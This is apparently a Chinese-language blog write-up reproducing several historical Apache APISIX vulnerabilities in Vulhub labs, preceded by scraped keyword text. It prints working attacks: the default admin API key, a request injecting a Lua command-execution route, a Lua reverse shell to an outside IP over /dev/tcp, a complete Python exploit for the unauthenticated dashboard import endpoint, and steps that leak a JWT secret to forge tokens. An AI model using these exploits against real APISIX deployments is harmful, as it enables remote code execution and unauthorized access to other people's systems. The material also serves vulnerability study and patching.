网站防采集 如何采集,站长之家网页模板,在定点二进制运算器中减法运算一般通过,化妆品网站建设方案文章目录 前言CVE-2020-13945默认api令牌CVE-2021-45232未授权接口2.1 默认账户密码导致RCE2.2 未授权访问api接口RCE CVE-2022-24112 地址限制绕过CVE-2022-29266 JWT令牌伪造4.1 漏洞源码简析与修复4.2 漏洞环境搭建与复现 总结 前言
Apache APISIX 是一个动态、实时、高性能… 文章目录 前言CVE-2020-13945默认api令牌CVE-2021-45232未授权接口2.1 默认账户密码导致RCE2.2 未授权访问api接口RCE CVE-2022-24112 地址限制绕过CVE-2022-29266 JWT令牌伪造4.1 漏洞源码简析与修复4.2 漏洞环境搭建与复现 总结 前言
Apache APISIX 是一个动态、实时、高性能的 API 网关 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。
开源项目地址https://github.com/apache/apisix官方文档地址https://apisix.apache.org/zh/docs/apisix/getting-started/README/
你可以把 Apache APISIX 当做流量入口来处理所有的业务数据包括动态路由、动态上游、动态证书、金丝雀发布灰度发布、限流限速、抵御恶意攻击、监控报警、服务可观测性、服务治理等。 Fofa 搜索语法
titleApache APISIX渗透测试基本信息
APISIX 系统默认端口默认凭据或口令Apache APISIX9080edd1c9f034335f136f87ad84b625c8f1Apache APISIX Dashboard9000admin/admin
官方推荐的快速安装 APISIX
curl -sL https://run.api7.ai/apisix/quickstart | sh
# 验证安装是否成功
curl http://127.0.0.1:9080 --head | grep Server【创建路由】
通过下面的命令你将创建一个路由把请求 http://127.0.0.1:9080/ip 转发至 httpbin.org/ip
rootubuntu:~/Desktop$ curl -i http://127.0.0.1:9180/apisix/admin/routes -X PUT -d
{id: getting-started-ip,uri: /ip,upstream: {type: roundrobin,nodes: {httpbin.org:80: 1}}
}
HTTP/1.1 201 Created
Date: Sun, 18 Feb 2024 01:45:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/3.8.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
X-API-VERSION: v3{key:/apisix/routes/getting-started-ip,value:{upstream:{scheme:http,nodes:{httpbin.org:80:1},type:roundrobin,pass_host:pass,hash_on:vars},id:getting-started-ip,priority:0,update_time:1708220748,uri:/ip,status:1,create_time:1708220748}}
rootubuntu:~/Desktop$
rootubuntu:~/Desktop$ curl http://127.0.0.1:9080/ip
{origin: XXX.XXX.XXX.21
}
rootubuntu:~/Desktop$ 【部署 APISIX Dashboard】
Apache APISIX Dashboard 是基于浏览器的可视化平台用于监控、管理 Apache APISIX。官方项目地址https://github.com/apache/apisix-dashboard。
docker pull apache/apisix-dashboard
docker run -d --name dashboard \-p 9000:9000 \-v CONFIG_FILE:/usr/local/apisix-dashboard/conf/conf.yaml \apache/apisix-dashboard此处安装失败原因不详从 docker 日志看是由于错误无法连接 2379 的 etcd 服务。
CVE-2020-13945默认api令牌
Apache APISIX 是一个高性能 API 网关。在用户未指定管理员 Token 或使用了默认配置文件的情况下Apache APISIX 将使用默认的管理员 Tokenedd1c9f034335f136f87ad84b625c8f1攻击者利用这个 Token 可以访问到管理员接口进而通过 script 参数来插入任意 LUA 脚本并执行。
该默认令牌配置文件位于https://github.com/apache/apisix/blob/master/conf/config.yaml 这是一个默认配置导致的安全问题实际上从官方文档也可以看出官方并不会修复该 CVE 漏洞而是给出了安全提醒 【环境搭建】
基于 Vulhub 快速搭建靶场环境https://vulhub.org/#/environments/apisix/CVE-2020-13945/ 环境启动后访问 http://your-ip:9080 即可查看到默认的 404 页面。 【漏洞复现】
利用默认 Token 增加一个恶意的 router 该 API 接口详细参数请参见官方文档Admin API | Apache APISIX其中包含恶意 LUA 脚本
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406{uri: /attack,script: local _M {} \n function _M.access(conf, ctx) \n local os require(os)\n local args assert(ngx.req.get_uri_args()) \n local f assert(io.popen(args.cmd, r))\n local s assert(f:read(*a))\n ngx.say(s)\n f:close() \n end \nreturn _M,upstream: {type: roundrobin,nodes: {example.com:80: 1}}
}然后我们访问刚才添加的 router就可以通过 cmd 参数执行任意命令http://your-ip:9080/attack?cmdid 【其他管理接口】
Admin API https://apisix.apache.org/zh/docs/apisix/admin-api是一组用于配置 Apache APISIX 路由、上游、服务、SSL 证书等功能的 RESTful API。你可以通过 Admin API 来获取、创建、更新以及删除资源。同时得益于 APISIX 的热加载能力资源配置完成后 APISIX 将会自动更新配置无需重启服务。
以“获取资源列表”的接口 /apisix/admin/consumers 为例
CVE-2021-45232未授权接口
Apache APISIX Dashboard 是基于浏览器的可视化平台用于监控、管理 Apache APISIX。Apache APISIX Dashboard 2.10.1 版本前存在两个 API/apisix/admin/migrate/export 和 /apisix/admin/migrate/import它们没有经过 droplet 框架的权限验证导致未授权的攻击者可以导出、导入当前网关的所有配置项包括路由、服务、脚本等。攻击者通过导入恶意路由可以用来让 Apache APISIX 访问任意网站甚至执行 LUA 脚本。
继续使用 Vulhub 一键搭建靶场环境 然后访问 http://your-ip:9000/ 即可看到 Apache APISIX Dashboard 的登录页面
2.1 默认账户密码导致RCE
官方默认登录账户密码 admin/adminVulhub 镜像的密码为 vulhub: 其实实战中如果没有敏感接口的未授权访问漏洞的话是可以通过弱密码登录后台进行 RCE 的接下来先看看进入后台后如何完成 RCE。
1、 先创建任意名称的上游服务请注意目标节点信息后面触发 RCE 会用到 2、 接着创建路由把选择上游服务选择为上面的创造的上游 3、访问上述创建的路由通过“查看”修改配置添加反弹 Shell 的 Lua Script 提交修改请求API 接口参数释义请参见https://apisix.apache.org/zh/docs/apisix/admin-api/#route数据包如下
PUT /apisix/admin/routes/501155186035655361 HTTP/1.1
Host: XXX.XXX.XXX.16:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: application/json
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate, br
Referer: http://XXX.XXX.XXX.16:9000/routes/list
Content-Type: application/json;charsetUTF-8
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgyNDMyNjIsImlhdCI6MTcwODIzOTY2Miwic3ViIjoiYWRtaW4ifQ.BkV5VDZkMubP56Uutpn0CXQwx2oJUumjH7HgpvlpBdo
Content-Length: 227
Origin: http://XXX.XXX.XXX.16:9000
Connection: close{uri:/*,name:rce,methods:[GET,POST,PUT,DELETE,PATCH,HEAD,OPTIONS,CONNECT,TRACE],script:os.execute(/bin/bash -i /dev/tcp/XXX.XXX.XXX.50/6666 01),upstream_id:501154557745693377,status:1}4、接着访问http://127.0.0.1:9080/rce即可触发命令执行实现 RCE 【More】创建路由时并非强制选择上游服务故上述创建上游服务的步骤也可以直接忽略直接创建路由并指定一个有效的目标节点主机名有效业务端口接口比如
2.2 未授权访问api接口RCE 此漏洞的鉴权缺陷源码分析可参见https://xz.aliyun.com/t/10732。 那如果没有默认密码或者弱密码的话这时我们就利用未授权接口进行 RCE 了。这里我们需要知道这两个接口一个是用来导出配置文件一个是用来导入配置文件的。
我们可以使用 /apisix/admin/migrate/export 直接导出配置文件删除 Authorization 字段后发现是可以正常未授权访问的 接下来利用另一个接口导入恶意配置即可实现 RCE但是从上面导出的配置数据可以看到后面多出四个字节这 4 个字节其实是配置文件的 checksum 值在导入配置文件时也会对配置文件的 checksum 值进行校验那这里需要阅读 APISIX 源码并编写脚本算出 checksum 校验值。
简单起见直接利用 Github 现成的 POC 验证程序即可https://github.com/wuppp/cve-2021-45232-exp/blob/main/apisix_dashboard_rce.py
#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys
from urllib3.exceptions import InsecureRequestWarning# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(categoryInsecureRequestWarning)eval_config {Counsumers: [],Routes: [{id: str(random.randint(100000000000000000, 1000000000000000000)),create_time: 1640674554,update_time: 1640677637,uris: [/rce],name: rce,methods: [GET,POST,PUT,DELETE,PATCH,HEAD,OPTIONS,CONNECT,TRACE],script: local file io.popen(ngx.req.get_headers()[cmd],r) \n local output file:read(*all) \n file:close() \n ngx.say(output),status: 1}],Services: [],SSLs: [],Upstreams: [],Scripts: [],GlobalPlugins: [],PluginConfigs: []
}def random_str():return .join(random.choices(string.ascii_letters string.digits, k6))def calc_crc(data):crc32 zlib.crc32(data) 0xffffffffreturn crc32.to_bytes(4, byteorderbig)def export_data(url):r requests.get(url /apisix/admin/migrate/export, verifyFalse)return r.text[:-4]def import_data(url, data):data json.dumps(data).encode()crc32 calc_crc(data)files {file: (data, data crc32, text/data)}resp requests.post(url /apisix/admin/migrate/import, filesfiles, verifyFalse)# print(resp.text)if resp.json().get(code, -1) 0:return Trueelse:return Falseif __name__ __main__:if len(sys.argv) ! 2:print(python sys.argv[0] http://127.0.0.1:9000)exit()url sys.argv[1]if url.endswith(/):url url[:-1]uri random_str()eval_config[Routes][0][uris] [ / uri]eval_config[Routes][0][name] uriif import_data(url, eval_config):print(attack success)print(uri is: / uri)else:print(attack error)脚本攻击效果演示如下注意执行命令时应更换为 9080 端口 回到 Dashboard 管理台即可发现上述脚本创建了一个恶意路由
CVE-2022-24112 地址限制绕过
官方发布的漏洞信息https://apisix.apache.org/zh/blog/2022/02/11/cve-2022-24112/。 此漏洞相对比较鸡肋主要是用于绕过 IP 地址访问限制漏洞利用条件是目标系统使用了默认的 Admin Key即 CVE-2020-13945 中的 X-API-KEY此处暂不复现。
参考文章
CVE-2022-24112 Apache APISIX 远程代码执行漏洞;CVE-2022-24112Apache APISIX 命令执行漏洞 - 华盟学院;https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py
CVE-2022-29266 JWT令牌伪造
在 Apache APISIX 2.13.1 版本之前的 Apache APISIX 中由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web 令牌并通过错误消息响应获取插件配置的 JWT Secret进而伪造有效的 JWT 会话凭证来非法访问 API 接口。 漏洞分析参考文章《APISIX CVE-2022-29266 漏洞分析与复现 |TeamsSix》、《CVE-2022-29266 Apache Apisix jwt-auth插件 密钥泄漏》。 4.1 漏洞源码简析与修复
通过 Apache 官方提交的修复记录 https://github.com/apache/apisix/pull/6846/commits/bf296bbdad52055d9362958e9262c861a4b723ed 可以看到此漏洞的问题点 修改代码将 401 返回的附加信息 jwt_obj.reason 删除变更为本地日志打印。可以在 lua-resty-jwt 库https://github.com/SkyLothar/lua-resty-jwt中找到 lib/resty/jwt.lua 文件在 jwt.lua 文件的 782 行中可以看到有个 jwt_obj.reason 中包含了 secret这里代码的意思是说如果程序执行正常就返回 secret 的值否则就返回具体的异常信息。 此处借用 TeamsSix 的分析总结漏洞利用的前提有以下三个
APISIX 需要开启 jwt-auth 插件jwt-auth 插件算法需要是 HS256 或者 HS512secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串
如果满足了这三个前提当我们利用 RS256 或者 RS512 的 JWT 值发送给 APISIX 的时候我们就会得到 jwt-auth 中的 secret从而实现 JWT 伪造了。
4.2 漏洞环境搭建与复现
漏洞复现沿用上文 CVE-2021-45232 的 Vulhub 靶场环境即可APISIX 版本为 2.9符合漏洞条件。 此漏洞涉及 JWT 令牌的相关知识不熟悉 JWT 基础安全知识的话请参见《Web安全-JWT认证机制安全性浅析》关于 JWT 密钥泄露的类似 CVE 漏洞也可参见《Nacos系统历史CVE漏洞的复现分析与检测》中的“QVD-2023-6271默认密钥”章节。 一键搭建完 Vulhub 的漏洞环境后进入 dashboard 创建消费者启用 jwt-auth 认证机制 Consumer也称之为消费者是指使用 API 的应用或开发人员。在 APISIX 中消费者需要一个全局唯一的 名称并从上面的列表中选择一个身份验证 插件。 将 { key: tr0e, secret: passwd123456789 } 填写到编辑器里值的话可以随便写算法的默认配置是 HS256 。 创建完消费者 tr0e 以后开始创建路由 同样需要启用 jwt-auth 插件 提交并完成路由配置 【验证 JWT 插件】
从官方指导文档https://apisix.apache.org/zh/docs/apisix/plugins/jwt-auth/ 可了解到启用了 jwt-auth 插件后会增加 /apisix/plugin/jwt/sign 这个接口。在命令行输入以下命令参数 key 的值就是刚刚在创建 consumer 时配置的 key 值通过访问这个 api 即可获取到 JWT 认证凭据 携带获得的 JWT 凭据发起对应配置的 /tr0e666 路由的请求未返回 401 即代表鉴权成功 将此接口返回的 JWT 凭证作下解码可以看到 Payload 信息其中 exp 是 JWT 的有效时间限制 【漏洞复现】
JSON Web Tokens 网站 https://jwt.io/#debugger-io 可以帮助我们快速构建 JWT 凭据。
需要一个 RS256 算法的 JWT 值这里为了方便直接在 jwt.io 中生成只需要将算法改为 RS256Payload 改为以下内容即可注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致。
{key: tr0e}然后将上面拿到的 JWT 凭据发起访问受保护的路由的请求
rootubuntu:~/vulhub/apisix/CVE-2021-45232#
rootubuntu:~/vulhub/apisix/CVE-2021-45232# curl http://127.0.0.1:9080/tr0e666 -H Authorization:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0cjBlIn0.tyNfKjLKYV860j-OQZGS0RkJFpKDsc-zEtbIklYlKrNYgkaqJmEISXNBT5jI_c6_rKl-1KLPT7cWe0X7LOdeyOR0C4F_q6Mrjznd0cxbEl5arIe-ViGOjOklcXUFMh9K-1x3DL2R60Em9MmpTOQvcbz9-Weh2h4dRHdYSej7bvHaGVXUK_8fJFXSgrn2alTnlndsRPdN9fZnkKz7rRKCCEO7skM0q7Wnho2sCWttCrTpZc6wNejj41oU3GKHmVF4bcE-WYKcf4PkTDa72ZE6-3x5xtK2s18hKzByhEb_Nwp44V6IMqKOj4dhuYlAQjvKaM5nqY6aZXr3xPi187fLDg -i
HTTP/1.1 401 Unauthorized
Date: Sun, 18 Feb 2024 12:39:29 GMT
Content-Type: text/plain; charsetutf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.9{message:Decode secret is not a valid cert\/public key: passwd123456789}
rootubuntu:~/vulhub/apisix/CVE-2021-45232# 此时拿到 JWT 的 Secret即 passwd123456789后即可自行颁发有效的 JWT 拿着自生成的 JWT 凭证成功访问受保护的路由
总结
Apache APISIX 作为一个动态、实时、高性能的云原生 API 网关提供了负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。本文总计、复现可 Apache APISIX 网关系统的几个历史 CVE 漏洞。
Apache APISIX 被广泛应用于各大企业的云服务业务因而也成为各类攻防演练的关注对象。作为运维人员或开发人员应当及时更新 APISIX 的版本避免系统因未及时覆盖安全补丁导致系统被入侵。